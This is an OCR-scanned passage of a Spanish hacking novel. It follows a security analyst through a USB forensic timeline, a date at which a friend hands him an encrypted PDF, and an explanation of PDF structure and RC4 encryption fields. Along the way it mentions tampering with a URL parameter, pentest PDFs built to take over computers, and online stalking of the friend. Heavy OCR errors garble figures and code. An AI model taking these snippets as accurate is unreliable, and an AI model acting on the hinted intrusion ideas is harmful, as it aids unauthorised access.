archivo sospechoso llamado datos.zip. El archivo estaba ubicado en la unidad que

se asignd al moévil: B:

00:08:29.

. De esta misma clave, también obtuve su fecha de modificacion:
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s o : Digthe 71| =
(Predetaminads) REG_Sz (valor no estableddo)
A& AppDatslow 25l | REG_5Z E{Qthersidatos 2p
;} » :l!assesﬁ ﬂl"‘ltuﬂl REG_BINARY 0a oo
¥ . Migoso
B x Mieo Mak Computing
=23 4u Common
& L winzp
v directories
A Filters
i fn
,; ListView
i-;:a b mru
_dw Jobs

| & programs 2| T . | »
I i T T e T e
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Img 10: Archivos abiertos recieniernente (MRU) por la aplicacién WinZip.

10/06/2012 2358
® Salta alerta de torno

11/06/2012 00:31
* Se desconecta

11/06/2012 00:03:25

* Se conecta Nokja E71 11/06/201200:35.53

* Se apaga el equipo

de Telgroup alPC como E: Nokia E71

11/06/2012 00:08:29 11/06/2012 00:33;01

* Se copia el archive ° Se eliminan los datos
”datos.2|p” aE: del registro

11/06/2012 00:02:41

* &l usuario U93817
inicia sesion

Img 11: Linea temporal del anélisis forenge del dispositivo USB.

Todo este proceso para que al final quedase resumido en dos frases bien claras en la primera
pégina de conclusiones de| informe:

EL USUARIO 193817 UTILIZO UN TELEFONO NOKIA E7] CON
NUMERO DE SERIE 352924020386178 EL DfA 11/06/2012, ENTRE LAS
00:03 Y LAS 00:31, PARA CREAR Y COPIAR EL ARCHIVO: DATOS .ZIp.

NO SE HA PODIDO RECUPERAR NI AVERIGUAR EL CONTENIDO
DEL ARCHIVO DATOS.7] .

No gané ma4s Jue unos minutos a las seis, cyando por fin traspasé las puertas de la oficina.
Ast con todo salia pronto para lo que tenia por costumbre y aun confiaba en adelantarme a]
trafico que vaciaba la ciudad y Ilenaba las Carreteras cada viernes,

EE — |
_

Salté al interior de mi Citrogn Saxo y me lancé por las calles de la ciudad ep direccion a la
M-30. La intensa luz de |a tarde me oblig6 a bajar el parasol Y conectar el climatizador, lo
que en mi modesto utilitario suponia bajar la ventanilla con la esperanza de que entrara algo
de aire. No tuve suerte. Las pocas nubes que podian defenderme de aquel sol abrasador
estaban tan quietas en el cielo como en una postal. La caniiseta va se me pegaba a] cuerpo
con el sudor cuando tomé [a salida de la A-5 en direccion a Moéstoles, donde tenia mj piso.
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Mi situacién no mejord cuando quedé detenido junto a un Seat Leén tuneado. De su
interior salia. a gran volumen, una de esas canciones de moda que ponen en la radio a
cada momento. Por cosas €omo esa nunca escuchaba la radio. Ariesgo de morir asfixiado,

subi las ventanillas en un mtento desesperado de conseguir la insonoridad, pero la musica
continué retumbando como las pisadas de un dinosaurio.

habria venido bien si no hubjera tenido tanta prisa,

Cuando abri la puerta de entrada y miré el reloj del recibidor, tuve ganas de descolgarlo
Yy arrojarlo contra el suelo, Cruce el pasillo, dejando atras el pequedio salon comedor, la
cocina y el dormitorio, Y entré en la habitacién del fondo, donde tenfa un amplio escritorio
con mi equipo. Tiré la mochila sobre el sillén que utilizaba para leer y me dejé caer sobre

la silla.

La persiana de la ventana llevaba bajada todo el dia ¥ mantenia el interior oscuro y fresco.
A pesar de la ausencia de luz, cuando movi el raton, los tres monitores cobraron vida y
bafiaron la estancia de una agradable fosforescencia, por lo que no necesité encender |a
lampara. Después de introducir la contrasefia, abri un par de ventanas y el correo electrénico.

Resaltaba un mensaje que marqué como favorito para recordar que el dominio de mi blog,
securitybydefault.ar, estaba a punto de expirar y tenja que renovarlo. Tenia en mente hacerlo
€N una nueva compaiiia algo mas barata y abandonar Arcsis de una vez por todas. Asi que
creé una cuenta en OVH e hice la solicitud.

Verificacion def dominio securitybydefault. ar

El dominip securitybydefaodt.ar va axiste, ¥ no puede registrarse. En cambio puede

& Transferir este dominio a OVH sin cambiar el propiztaria

La transferencia no puede llevarse a cabo sin ol consentimients del propictario actual,

¢ Contratar el alojamiento unicamente

[mg 12: Solicitud de transterencia del dominio securitybydefault.ar.
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Apenas eran unos euros, pero con el sueldo de Epica, cualquier gasto extra parecia un
mundo.

Tenia el tiempo justo para ducharme y encontrar algo decente en el armario, algo que me
hiciera albergar esperanzas con Yolanda. Antes de entrar en la ducha y que el agua me
dejara la mente en blanco durante unos minutos, pensé que esa podria ser una semana
memorable. Habia terminado un proyecto importante, en la oficina las cosas marchaban
bien y habia quedado con la chica de mis suefios. La vida me sonreia. A partir de ahora,

(qué podria ir mal?

Capitulo III: Yolanda

I~
th

Capitulo I1I
Yolanda

Yolanda me habia citado en el VIPS de Parque Oeste, Alcorcén, que no quedaba lejos de
mi casa. Era la clase de lugar que yo hubiera elegido, un sitio tranquilo donde poder charlar
sin que nadie te moleste mientras tomas algo.

Hacia mas de un afio que no sabfa nada de ella, pese a que visitaba semanalmente su pagina
de Facebook en busca de cualquier cambio en su situacion sentimental. Por suerte para mi,
su estado seguia siendo: soltero(a). Esperaba que eso pudiera cambiar aquella noche.

A decir verdad, mi investigacién no se habia limitado a Facebook, que por otro lado no
actualizaba muy a menudo v poco me informaba de cémo marchaba su vida. Yo usaba
regularmente servicios como Namechk.com, Knowem.com o Checkusernames.com,
encargados de revisar automdticamente si un nombre de usuario est4 en uso o disponible en
un portal o alguna red social. Esperaba descubrir algin dia nuevas fotos suyas en Flickr o
curiosear qué sitios frecuentaba en FourSquare. Era todo un voyeur digital.

Guardaba un especial carifio a Facebook porque me habia permitido encontrarla después
de los convulsos afios tras el instituto y retomar una relacion que, pese a la distancia, me
llenaba mas plenamente que las pocas novias que habia tenido. Ademads, que me agregara
como amigo habia resultado el paso mas importante que habia dado en la conquista de su
corazon.

Llegué antes de la hora. Queria reconocer el terreno para elegir una mesa tranquila que
me permitiera verla cuando llegara. Habia ensayado varias frases para utilizar en nuestro
reencuentro, con sus multiples variantes dependiendo de cual fuera su respuesta. En cuanto
al aspecto, me habia puesto mis mejores galas. Nada impresionante ni fuera de lugar, pero
si elegante a la par que discreto. ;Qué se le va a hacer? Asi soy yo.

Tras varios intentos del camarero por sentarme en el primer sitio libre que vefa y otras
tantas negativas por mi parte, finalmente me encontré una mesa cerca de la ventana que
daba al aparcamiento, desde donde podia ver tanto la entrada como mi coche en el exterior.
No es que temiera que me lo robasen, ui nada por el estilo. Podria dejarlo en la zona més
deprimida de Vallecas, con las llaves puestas y un fajo de billetes en la guantera, con la
seguridad de que ni los yonquis mds desesperados le prestarian atencion. Lo tenia algo
descuidado, cierto, pero es que no me gustan los coches. Lo unico valioso estaba en el
maletero, donde guardaba el portatil con el disco duro lleno de informacién. Sin embargo
Y para la ocasion, habia pasado por el tinel de lavado antes de llegar. Por si del restaurante
1nos tbamos a otro sitio y el coche era nuestro tnico medio de transporte.
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Me recosté en el sillon acolchado de cara a la entrada, saqué mi mévil y empecé a escribir
un whats, mientras mi pulso se aceleraba con cada letra que marcaba. “Ya he llegado. Te
espero impaciente”. Pulsé enviar un segundo antes de arrepentirme. ;Impaciente? jIdiota!
El doble check que aparecio enseguida me informaba que el mensaje habia sido recibido.
Era demasiado tarde para cambiar nada.

Estaba empezando a obsesionarme. Tenja que tomarmelo con m4s calma. Traté de pensar
€N 0fras cosas, pero mi mente me traicionaba con pronosticos sobre como acabaria la cita.
Porque, pese a mis intentos por restarle importancia al asunto, lo que tenia con Yolanda era
una cita.

Mi respiracion se aceler6 y de pronto tuve la garganta muy seca. Pedi un vaso de agua v,
mientras esperaba, consulté el mévil para tener la mente ocupada.

En la bandeja de entrada del buzén del correo electrénico aparecia un mensaje que me
notificaba que el proceso de transferencia que solicité para el dominio del blog necesitaba
aprobacion. En el propio correo se me permitia pulsar sobre dos enlaces distintos: “Aceptar”
0 “Denegar”. Acepté y se abrié Safari, el navegador del iPhone, el cual mostré una pégina
que me requeria volver a pulsar sobre un bot6n mds para terminar el proceso.

“iﬂ/ Aceptar transferencia de dominio

Acepto .

Img 13: Pregunta de seguridad para confirmacién del traspaso de dominio.

En la diminuta pantalla, observé extrafiado la URL de la web a la que acababa de acceder:
http:/fwww.nic.ar/pagina.htmi? codUsuario=2793166& CodPeticion=948123.

Me quedé con la mirada perdida, pensando en o que podria ocurrir si modificase el niimero

después de “CodPeticion” por un nimero mas o menos. ;Podria autorizar o desautorizar las
b ) &

peticiones de otros usuarios? jMostraria algin error?

Mi reflexion se interrumpid cuando ella cruzé la puerta de entrada.

Fue como ver amanecer. Si era posible decirlo de un modo menos cursi, yo no lo sabia.
Tuve que beber medio vaso de agua antes de recuperar la compostura y hacerle sefias
para que se acercara. Me vio y su precioso rostro se iluminé con una adorable sonrisa de
reconocimiento. Al verla avanzar entre las mesas, con los movimientos graciles que le
permitia un cuerpo de infarto, con la melena castafia meciéndose justo por encima de los
hombros y los ojos verdes brillando con una intensidad que oscurecia las luces del local,
tuve que apurar lo que quedaba del vaso.

Nos abrazamos. Y si mi vida fuera una pelicula y yo tuviese el mando a distancia, habria
pulsado el botén de pausa para perpetuar ese momento. Cuando nos separamos estaba
tan contento de volver a verla que tuve que sentarme deprisa para que no se me notara
cuanto. Ella se deslizo en el sillon del otro lado de la mesa, dejando el bolso que llevaba
al hombro en el suelo. Nos observamos sin decir nada durante unos pocos segundos, los
cuales aproveché para estudiar cada uno de los rasgos que tenia marcado a fuego en mi
corazdn.

Habfa algo en su expresién que era distinto, algo que no acababa de reconocer en ella, pero
seguia siendo la mujer més hermosa que habia conocido.

-jEstas igual que siempre! —menti. Estaba mejor.

-Ta también —mintié ella a su vez. Yo no atravesaba por mi mejor estado de forma, ya
que pasaba muchas horas sentado ante el ordenador y el Gnico deporte que practicaba
era algiin que otro partido de fiitbol... en el Pro Evolution Soccer de la Play Station.
-Me alegro de que llamaras. Ha pasado mucho tiempo desde la filtima vez que nos
Vvimos.

-Si, ¢verdad? ;Cuénto ha sido? ;Un afio?

-Por lo menos —contesté. En realidad habia sido un afio, dos meses y cinco dias, pero
tanto daba que hubieran sido eones. Ahora estaba a mi lado, y volver a escuchar su voz
era lo tinico que me importaba-. Desde la fiesta de antiguos alumnos. Fue de 1o mas

deprimente hasta que apareciste.
-jCalla! No pensaba ir hasta que lei tu cuarto mensaje recordatorio. Pensé: “jqué
demonios! jNo tengo nada mejor que hacer!”.

-Sin embargo, cuando te llamé el mes pasado parecfas muy ocupada —apunt€.

-Si, es verdad. Ojala hubiéramos quedado entonces. Pero estaba pasando por una época
muy dificil. El trabajo y la familia me tenian atada, el capullo de mi ex novio... bueno,
de ese mejor no hablamos, ¢ vale? Se juntaron muchas cosas —parecio sumirse en oScuros
pensamientos, pero finalmente continué-: ;Y ta? ;Qué haces ahora? ;Sigues siendo un
as de los ordenadores?

-Bueno, sigo trabajando en la misma empresa de seguridad informatica. Es un trabajo
muy exigente, pero también gratificante. Precisamente hoy hemos acabado un andlisis
forense. ..

Recordé una importante regla a seguir en el arte del cortejo de todo ingeniero: {No
hables de trabajo, idiota!

-jPero también me gusta salir de vez en cuando a tomar cervezas! —exclamé. El brusco
cambio de tema dejé a Yolanda algo perpleja-. Quiero decir que me gusta divertirme
como al que mas.
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No me gustaba la impresion que estaba causando. La situacién no mejord cuando traté
de beber del vaso ya vacio para ganar algo de tiempo, ante la mirada extrafiada de mi
acompafiante. Por suerte, el camarero acudio a mi rescate para tomar nota de los pedidos.
Dirigi6 una elocuente mirada al escote de Yolanda, y luego se volvié hacia mi como si no
creyera que pudiera estar compartiendo mesa con aquella chica. Ya éramos dos.

-;Qué van a tomar? —pregunto el camarero, guifisndome un ojo.

Ella eligié una Coca-Cola light. Yo, que no queria mostrar debilidad pidiendo una bebida
de chicas, y ademas queria ponerle las cosas dificiles a aquel pretencioso, me decanté por
una zero. También pedimos unos aperitivos ligeros para compartir.

-Y 10, ,qué? —pregunté cuando el camarero se hubo marchado-. Sigues en ese despacho
de abogados.

-8i. jQué horror! Secretaria en un bufete. ;Te imaginas? Debe de ser el trabajo mads
aburrido del mundo, pero tal y como esté la economia, ahora no puedo aventurarme a
buscar nada mejor.

-Tu puedes ser lo que quieras ser. jEres la tia mas guay del mundo entero! —exclame.

iGenial! Continuaba hablando de trabajo y habia utilizado la frase més estupida que
se pudiera pensar. Solo que yo no la habia pensado, habia salido de mis labios sin el
conocimiento ni autorizacién de mi cerebro.

-Si, ya. Eso diselo a mi jefe —resopld. Luego parecio pensar en otra cosa-. ;Recuerdas los
planes que haciamos en el instituto? ;Lo que hariamos cuando fuéramos unos carrozas
como ahora?

-Si. Recuerdo cada momento de aquella época —contesté buceando en el verde de sus
ojos-. Fue la mejor época de mi vida.

-Para mi fue una locura. Tan pronto estaba euférica como deprimida. Cualquier nimiedad
podia llevarme de un estado al contrario. Creo que estaba algo perdida —reflexiono.

-Todos estabamos algo confundidos. Se llama adolescencia.
Yolanda pareci6 pensar en mis palabras. Luego sacudi6 la cabeza y dibujo una triste sonrisa.

-;Sabes? Con esa edad piensas que tu problema es la falta de libertad. Todos te imponen
sus reglas: los padres, los profesores, la sociedad... La vida no era lo que nos decian. Yo
pensaba que todo se arreglaria cuando fuera a la universidad, que entonces seria libre
para tomar mis propias decisiones. Estaba harta de que me dijeran lo que tenia que hacer
y crefa que solo encontraria el camino correcto si era yo quien decidia en mi vida.

-.Y lo encontraste? ;Tu camino en la vida?

-Todavia estoy en ello, jno me agobies! -exclamé, con una sonrisa melancolica
asomandose a sus labios.

T T

e

No fui consciente de cudnto echaba de menos su sonrisa hasta que volvi a contemplarla.
Cuando somnreia, yo la acompafiaba con independencia de la causa. Me contagiaba y no
habia ni queria ningiin remedio. Desde que la conocia, perseguia su sonrisa como un
adicto persigue su dosis, porque la necesitaba. Los afios que pasamos separados no habian
cambiado esta realidad.

-No, en serio -continud-. Esos problemas tan graves parecen ahora tan insignificantes...
Me cambiaria por aquella chiquilla sin pensarmelo dos veces.

-Y yo entraria contigo en esa maquina del tiempo sin dudarlo.
-¢Por qué? ;No eres feliz en el presente?

-Digamos que... no era consciente de cuanto afioraba... lo que entonces tenia -balbuceé,
y luego levanté la vista directamente hacia sus ojos-. Hasta ahora.

Yolanda pareci6 algo turbada cuando traté de cogerle la mano por encima de la mesa. Ella
la retiré de forma imperceptible, reclinandose sobre el sillon y mirdndome con ojos tristes.
jFail!

i

-Lo siento, yo... -empecé a disculparme.
-No, no -dijo ella-. Es que...

Mi angel de la guarda regresé con nuestras bebidas, rescatdindome de nuevo de una situacion
embarazosa. Se equivoco al poner la coca cola light en mi lado de la mesa, pero no se lo
tendria en cuenta a la hora de la propina. Dejd los aperitivos en el centro y antes de retirarse
y dar otro buen repaso a Yolanda, volvi6 a guifiarme el ojo. {Capullo! Eso si se lo tendria
en cuenta.
-, Has visto la ultima pelicula de Christopher Nolan? -pregunté rapidamente, esperando
que la referencia al director le hiciera olvidar lo que habia pasado, como al protagonista
de Memento.

-(Origen? -preguntd, cambiando nuestras bebidas-. Si, jqué buena! Te hace pensar si
vivimos en un suefio. Y ese final con la peonza...

-El tétem.

- Qué?

-Cobb, el personaje de DiCaprio, lo llama su tétem -apunté. Luego pensé que eso sonaba
pretencioso y traté de rectificar-: O eso creo.

-Veo que no has perdido tu cinefilia.

-Ti tampoco te quedabas atras. Recuerdo aquellas tardes en el parque. Hablabas sin parar
de la pelicula que habiamos visto el fin de semana y de la que veriamos el siguiente.
En el cine comentabas cada escena con la boca llena de palomitas, sin importar que te

llamaran la atencion, y al salir de la sala seguias hablando de lo bueno y de lo malo que

habiamos visto.
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-Si —admiti6, sonriendo ante el recuerdo-. Lo echo de menos. Ya no voy al cine tanto
como me gustaria.

-Precisamente ¢l cine donde puedes conseguir el cubo mas grande de palomitas estd
cerca de aqui. Seguro que podemos encontrar algo decente en la cartelera.

-Eh... -dudé.

-0 podemos ir a otro sitio —interrumpi-. S¢ que ya no se hacen tan buenas peliculas
como antes, y los ultimos estrenos

-Lo siento. No es eso. Es que no puedo.
iEpic Fail!
-Ya, lo entiendo, no importa —menti. Estaba abatido-. Es solo que esperaba...

-Si, lo sé —se apresur6 a decir ella-. Es culpa mia. Te llamo después de tanto tiempo y no
sabes que esperar. {Soy un completo desastre!

-{No digas eso, Yolanda! Eres la mejor persona que conozco, Solo dime por qué me has
llamado.

Me mir6 con una expresién de compasién y una sonrisa que me hizo pensar en la que
pondria una maestra de infantil ante la declaracién de amor de uno de sus alumnos. Eso me
dolié més que si me hubiera abofeteado. Bajé la mirada avergonzado como si de verdad lo
hubiese hecho, pero al levantar la cabeza le devolvi un gesto indolente. No queria que viera
el dafio que me habia causado, sino que pensara que su rechazo me era indiferente.

“Necesito un favor —dijo, echando mano de su bolso y hurgando en el interior. Cuando
su mano salié, lo hizo sujetando una especie de llavero con forma de mufieca de Hello

Kitty que puso encima de la mesa, delante de mi.

-Gracias. Pero ahora me gustan mas los Gormiti.

-jQué bobo eres! —Sonrid y separd las piernas del mufieco, mostrandome la conexion de
puerto USB que le salia del torso-. Es un pendrive.

-Muy original. No sabia que te gustaran los dibujos japoneses.
-Y no me gustan —afirmé, poniéndose muy seria de repente-. Me lo dio mi hermano.

Parecia afectada hasta el punto de esforzarse por contener las 1agrimas, pero en ese momento
no queria animarla con frases amables. Me sentia humillado v, si a ella le dolia pedir mi
ayuda después de haberme destrozado el corazon, deberia recorrer ese camino sola.

-Pero lo importante est4 en la memoria ~continuo, reponiéndose-. Hay un archivo que
esté encriptado y no puedo acceder a la informacién que contiene, asi que he pensado

-Cifrado —corregi.
- Qué?

M A . T P84 i . o, A 5 ST T S e,

-Se dice cifrado, no encriptado.
Yolanda me mir6 sin comprender por qué eso era importante. Era importante.
-Es igual —dije-. Continda.

-Como te iba diciendo, no puedo abrir el archivo y, ya que ti te dedicas a estas cosas,
queria saber si podrias llevartelo y desencrip digo descifrarlo.

-.Y qué se supone que contiene el archivo?

-No lo sé. Pero para saberlo necesito tu ayuda.

-;De donde lo has sacado? No es muy comun ir por ahi con archivos cifrados si no son
tuyos.

-No puedo decirtelo.

-¢A quién pertenece?

-No puedo decirtelo.

- Por qué estd en tu poder, si no es tuyo?

-No puedo decirtelo.

-;Hay algo que puedas contarme? —pregunté finalmente, sin poder contener mi enfado.

-Solo que es importante para mi —dijo, apretando mi mano.

Ahora fui yo quien la retird. Me crucé de brazos y apreté la barbilla contra el pecho, sin
atreverme a levantar la mirada para enfrentarme a su reaccion. Antes de apartar la vista de
sus ojos, habia%odido adivinar en ellos cierta compasion. Eso me enfurecié alin mas y me
dio 4nimos para continuar hablando.

-Asi que tienes un archivo que esta cifrado —recapitulé, resoplando-, que no sabes qué
contiene y cuyo origen no quieres explicar. Solo me dices que es importante para ti, pero
no por qué. Y como ta no puedes abrir el archivo, has pensado en tu buen amigo Angel.
Si, Angel, aquel idiota del instituto que te seguia a todas partes y a quien hace tiempo
que no ves. “;Por qué no quedar con ¢1? -te habrds preguntado-. Vendra corriendo a tu
llamada y har el trabajo sin preguntas incomodas. Como en el instituto, no pedira nada
a cambio porque seguira enamorado de ti. Y ademas, jqué demonios!, de paso podemos
ponernos al dia mientras tomamos una Coca-Cola”. ;Es correcto como resumen?

Cuando acabé, mi tono de voz era tan alto que varios clientes se habian vuelto para mirarme.
-Angel, yo no sabia que ti

Vi sorpresa en su mirada. Solo entonces fui consciente de mis palabras. Nunca le habia

hablado de mis sentimientos, hasta ahora. Es cierto que durante todos esos afios que
pasamos juntos, le habia mandado toda clase de sefiales, pero también que estas podrian
haberse interpretado erréneamente dentro de una relacién de amistad. No podia reprocharle
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ahora mi cobardia del pasado. Solo yo era culpable si ella desconocia que habitaba en mi
corazom.

-Lo siento, Yolanda —me disculpé, estrujandome las manos-. No tengo derecho Lo
siento mucho.

-No. Soy yo quien lo siente. Te hice dafio. Si hubiera sabido cémo te sentias No debi
llamarte.

Guardé la memoria USB en el bolso y empezo a levantarse precipitadamente mientras se
lo llevaba al hombro. Estaba ya en pie y'encaraba la salida cuando impedi que se marchara
sujeténdola por el brazo libre. No se resisti6, sino que permanecio inmovil, sin volverse
hacia mi. El contacto de su piel en mi mano me provocé una descarga eléctrica.

-Yolanda, espera —supliqué-. Por favor.

Ella continué sin moverse, de pie junto a la mesa. Temia que se soltara de mi mano, me
empujara y echase a correr. Los demds comensales nos observaban, pero a mi eso no me
importaba lo mas minimo. Solo queria que no se fuera despucs de lo que le habia dicho. No
de esa manera. Transcurrio una eternidad hasta que finalmente se dejo caer en el asiento,
con el bolso todavia al hombro y la mirada perdida. Yo me senté frente a ella, sin saber muy
bien cémo continuar. Pensé que la mejor manera era retomar el asunto que la habia traido
hasta mi.

Lo haré —afirmé-. Descifraré el archivo. Pero comprenderds que me planteé algunas
preguntas.

-Lo entiendo, y también que no quieras hacerlo.

He dicho que lo haré —dije con resolucién-. Pero quiero asegurarme de que no estas
metida en ningin lio.

-Tranquilo. Ya no tienes que cuidar de mi como en el instituto. Aunque te agradezco la
preocupacion.

-Entonces, ¢no es nada ilegal?
-Ahora es mejor que no sepas nada més —afirmé, convencida.
_Esté bien. Este asunto no acaba de gustarme, pero te ayudare.

Extendi la mano hacia ella, todavia con un rastro de vergiienza en la expresion. Observd la
superficie de mi palma durante un tiempo lo suficientemente largo como para que yo me
planteara retirarla. No lo hice, y mi resolucién parecio convencerla. Volvio a sacar a Hello
Kitty del bolso. Se la qued6 mirando unos momentos en los que parecia que preguntaraala |
gatita si estaba conforme con tener un nuevo duetio. Luego me la entrego. !

-Angel, quiero que sepas que yo nunca
No, Yolanda —la detuve con un gesto de la mano, a la vez que guardaba la memoria con |
la otra en mi bolsillo-. No tienes que explicar nada. Soy yo quien tiene que disculparse f

por mi comportamiento. No ha sido muy propio de un amigo. Espero que puedas
perdonarme dejando que te ayude.

-Gracias, Angel, de verdad.
-¢Para cuando lo necesitas?
-;;Mafiana por la mafiana es muy precipitado? —preguntd-. Ya te dije que era importante.

-Depende qel tipo de cifrado y fichero que sea. Puede ser cuestién de horas, dias,
semanas o mcl.uso nunca... Me pondré con ello al llegar a casa. Mafiana a primera hora
te llamo y te digo si lo tengo. Pero no prometo nada hasta que lo vea.

-Gracias otra vez.
-Seréd mejor que me vaya ahora y empiece cuanto antes -resolvi.

Llamé la atenci(’)p del camarero haciendo una ribrica en el aire para pedir la cuenta. Asinti6
y se marchd hacia la caja. Yolanda me observaba sin decir nada, mientras yo buscaba en mi
cartera un par de billetes vy la tarjeta del club VIPS.

No queria levantar la vista para no encontrarme con sus 0jos. Sabia que podrian desvelar
mi alma, y en aquellos momentos era algo que deseaba ocultarle a toda costa. Asi que
pagué la cuenta y esperé a que me devolvieran la tarjeta y €l cambio sin intercambiar
ninguna palabra, ninguna mirada. Ella continuaba en silencio y me observaba con ojos
tristes. Cuando me levanté para marcharme, me acompaiid a la salida.

Una vez en el exterior, le tendi la mano a modo de rapida despedida. Después de lo que
habia pasado, me parecia lo mas conveniente. Su reaccion fue tan espontinea que no
comprendi que gne habia besado hasta que retiré sus labios de mi mejilla, dejando alli la
calidez de su aliento. Quedé con la mano suspendida en el aire y una expresion embelesada,
sin posibilidad de articular palabra.

-Te explicaré todo cuando llegue el momento —prometié-. Y encontraré el modo de
compensarte.

-No tienes por qué —logré articular-. Para eso estdn los amigos.

Ella inclind la cabeza hacia un lado, provocando que el cabello le cayera en una cascada
ocre sobre el hombro. Sus ojos me escrutaron con luz verde, y en la incierta sonrisa que me
dirigi6 pude ver reflejado mi desconcierto. Luego se volvi6 para marcharse, cuando el sol
se ponia en el ocaso y las sombras de la noche me cubrian.

-iYolanda! —llamé, intentando alargar la despedida-. No te preocupes por Hello Kitty. Te
la devolveré mafiana. No quiero que tu hermano se enfade si descubre que no conservas
su regalo.

IS’e detuvo como paralizada por un rayo. Me mird por encima del hombro, sin girarse. Una
agrima le corria por la mejilla que me mostraba.

-Mi hermano ha desaparecido —dijo-. Creo que le ha pasado algo.




' 3 34 Hacker Epico | Capitulo IV: Reichhaltigem n
Se marcho antes de que yo pudiera reaccionar. Cuando quise detenerla, ya se habia perdido ' Vs
entre la gente que abarrotaba la zona comercial. De ella no quedé més que el recuerdo de ) Capltulo IV
una extrafia cita que habia acabado con esas desconcertantes palabras. Reichhaltigem

Entonces comprendi qué habia cambiado. Ya no era la chica alegre y jovial que conoci en
el instituto. Ahora le embargaba una profunda angustia, y yo habia estado tan cegado por
mis fantasias que no habia sabido verlo.

Cuando entré en mi piso era noche cerrada. La claridad de la luna se filtraba por las cortinas
del salén, mecidas por una brisa que entraba a través del balcén abierto. En vez de encender
la tele, me dirigi directamente al despacho, todavia torturindome por no haber advertido el
sufrimiento de mi amiga.

;Qué me habia dicho sobre su hermano? ;Que habia desaparecido? ;Qué demonios
significaba eso? Era una situacion terrible, lo suficiente para obligarme a olvidar mi fracaso
y tomar la decisién de apoyar incondicionalmente a mi amiga en ese trance.

Entendia que no podia hacer nada por el momento. Habia intentado contactar con ella
repetidas veces, pero en cada ocasion me salia el buzén de voz. No queria que mis disculpas
se grabaran. A pesar de mi interés por la ciencia-ficcion, era reticente a hablar con maquinas
por muy tecnolégicamente avanzadas que estas fueran.

| Decidi esperar al dia siguiente, cuando deberia entregarle el archivo descifrado, si es que
era capaz de tenerlo listo con tan poco tiempo. No sabia a qué venia tanta urgencia, pero si
era importante para Yolanda, también lo seria para mi.

Saqué la memoria del bolsillo y la puse sobre la mesa. Esperaba que la gatita japonesa no
se comiera mi ratdn, que reposaba sobre la alfombrilla a su lado. Agité este tiltimo para
encender la pantalla y empezar a trabajar.

rtaaen

Introduje la contrasefia y enseguida se desplegaron las ventanas con lo que habia estado
haciendo el dia anterior. Desplacé la ventana al monitor de la derecha, a cuyo pie se
encontraba Hello Kitty. Nuestras miradas se encontraron como la de dos contendientes
momentos antes de batirse en duelo. Empezaba a odiar a aquella gata blanca. Era el motivo
por el que Yolanda habia querido verme. No otro. Necesitaba mi ayuda como necesitaria la
de un fontanero si descubriese que su fregadero gotea. Pero mi amiga habia acudido a mi en
un momento de sufrimiento y desesperacion y, si de verdad me importaba, debia ayudarle
dejando a un lado mis patéticas ilusiones.

El dispositivo se instalé y en la ventana de mi equipo aparecié la nueva unidad de
almacenamiento. Cliqué sobre €l icono para estudiar su contenido. Habfa un documento
PDF de apenas 40Kb, pero al intentar abrirlo solicitaba una contrasefia. Mi instinto me
hizo teclear “123456”, pero no tuve suerte. Tal vez no sea la contrasefia mds famosa pense,
Mientras lo volvia a intentar con “qwerty”. Después de 5 minutos perdidos y una decena
de pruebas mas, decidi tratar de automatizar el proceso. jOjald me hubiera acompafiado
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Mario, mi viejo amigo de Epica! El no se cansaba y, por algin extrafio motivo, siempre
acertaba.

Mis experiencias de seguridad con los PDF se habian limitado a crear documentos infectados
que mandaba a los clientes que auditdbamos para que, una vez abiertos, yo pudiera tomar
control remoto sobre el PC donde los visualizaban. Era una de las pruebas que hacia en los
tests de intrusion y esto me habia proporcionado algunos conocimientos basicos sobre la
estructura 1égica del fichero.

Los PDF (Portable Document Format) son una sencilla composicién de objetos procesados
y ordenados en base a una disposicion. Este tipo de archivos se habia vuelto muy popular
en los nltimos afios y el uso de Adobe Reader es muy comin entre los usuarios. Por tal
motivo, este software se ha convertido en objetivo de ataques y cada afio se descubren
decenas vulnerabilidades en él. Las mafias quieren infectar el mayor niumero de equipos
posibles y los fallos en Adobe Reader son una buena via. Economia de escala.

Al abrir el fichero con el WordPad observé el esquema de este tipo de ficheros:

Operationen.pdf - WordPad
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Img 14: Fichero PDF abierto con un editor de texto.

Comienzan identificando la version del formato, que puede variar desde la 1.0 hastala 1.7y i

:

Generalmente es contenido comprimido o con formato codificado, por lo que con un simple | 4

cada una de ellas tiene distintas propiedades y caracteristicas en cuanto a seguridad. Después
se encuentran los objetos, que es donde realmente estan los datos, ya sean imagenes, texto,
tipos de letra o incluso videos.

editor de texto como Wordpad no se puede interpretar y hace falta un software especial que

lo procese. Los objetos se identifican facilmente porque comienzan en una linea con dos i |

numeros (identificador y version) y la palabra “obj” y terminan con “endobj”,

Tl e
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=) Versién del
o formato 1.0-1.7

Referencia a
otro objeto

Img 15: Estructura de PDF: cabecera y objetos.

El documento de Yolanda estaba basado en la version 1.7¢ del estindar. Después se iban
creando objetos uno tras otro hasta llegar casi al final del fichero donde se encuentra la
tabla XREF y el Trailer.

Comienzo de seccidn

Objeto libre

Objetos en
uso

Num. del siguiente obj libre
Comienzo de seccién

Num. De objetos

Objeto raiz (catalogo)

Localizacion de Tabla XREF
FIN de! PDF

Img 16: Estructura de PDF: Xref y trailer.

La tabla XREF es un mapa que indica la posicion de cada objeto en et fichero, si estén
libres (f) o usados (n), y €l numero inicial y total de objetos que componen el archivo.

En el triiler se identifica cual es el niimero del objeto raiz, obligatorio para inicializar
el documento y del cual se enlaza el resto, cudntos elementos hay y en qué posicion del
fichero se encuentra la tabla XREF. El PDF termina con los caracteres %%EOF.

Después de subir y bajar la barra del scroll un rato sobre el Wordpad, acabé encontrando
un objeto que parecia contener informacién sobre el cifrado y la contrasefia que solicitaba
¢l lector cuando abria el fichero:
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11 0 obj
<</CF<</StdCF<</AuthEvent/DocOpen/CFM/V2/Length 16>>>>/EncryptMetadata
false/Filter/Standard/Length 128/0(1F¥X\)uizi @dec

filb«_GaUA_"F oI_)/P -1028/R 4/StmF/StdCF/StrF/StdCE/U(2U_ €2 ci\)
acdey ) /V 4>>
endobj

Elemento 1: Objeto que define el cifrado del PDF

Como no sabia qué querian decir esos valores descargué el pequefio documento de referencia
de 1300 paginas para averiguar su significado. Lo mas revelador fueron estos datos:

- /CFM/V2: define el cifrado, en este caso al ser V2, el algoritmo era RC4.

- /Length 128: identifica que la clave tiene un tamafio de 128 bits.

- /AuthEvent/DocOpen: solicita la contrasefia cuando el documento es abierto.
- /EncryptMetada false: deja los metadatos del documento sin cifrar.

- /P -1028: Permisos una vez se abre el documento: copiar, imprimir, modificar,
etcétera. En este caso -1028 indica que el documento no tiene ninguna restriccion
de este tipo.

- /Oy /U: son usados para comprobar si la contrasefia introducida es correcta,
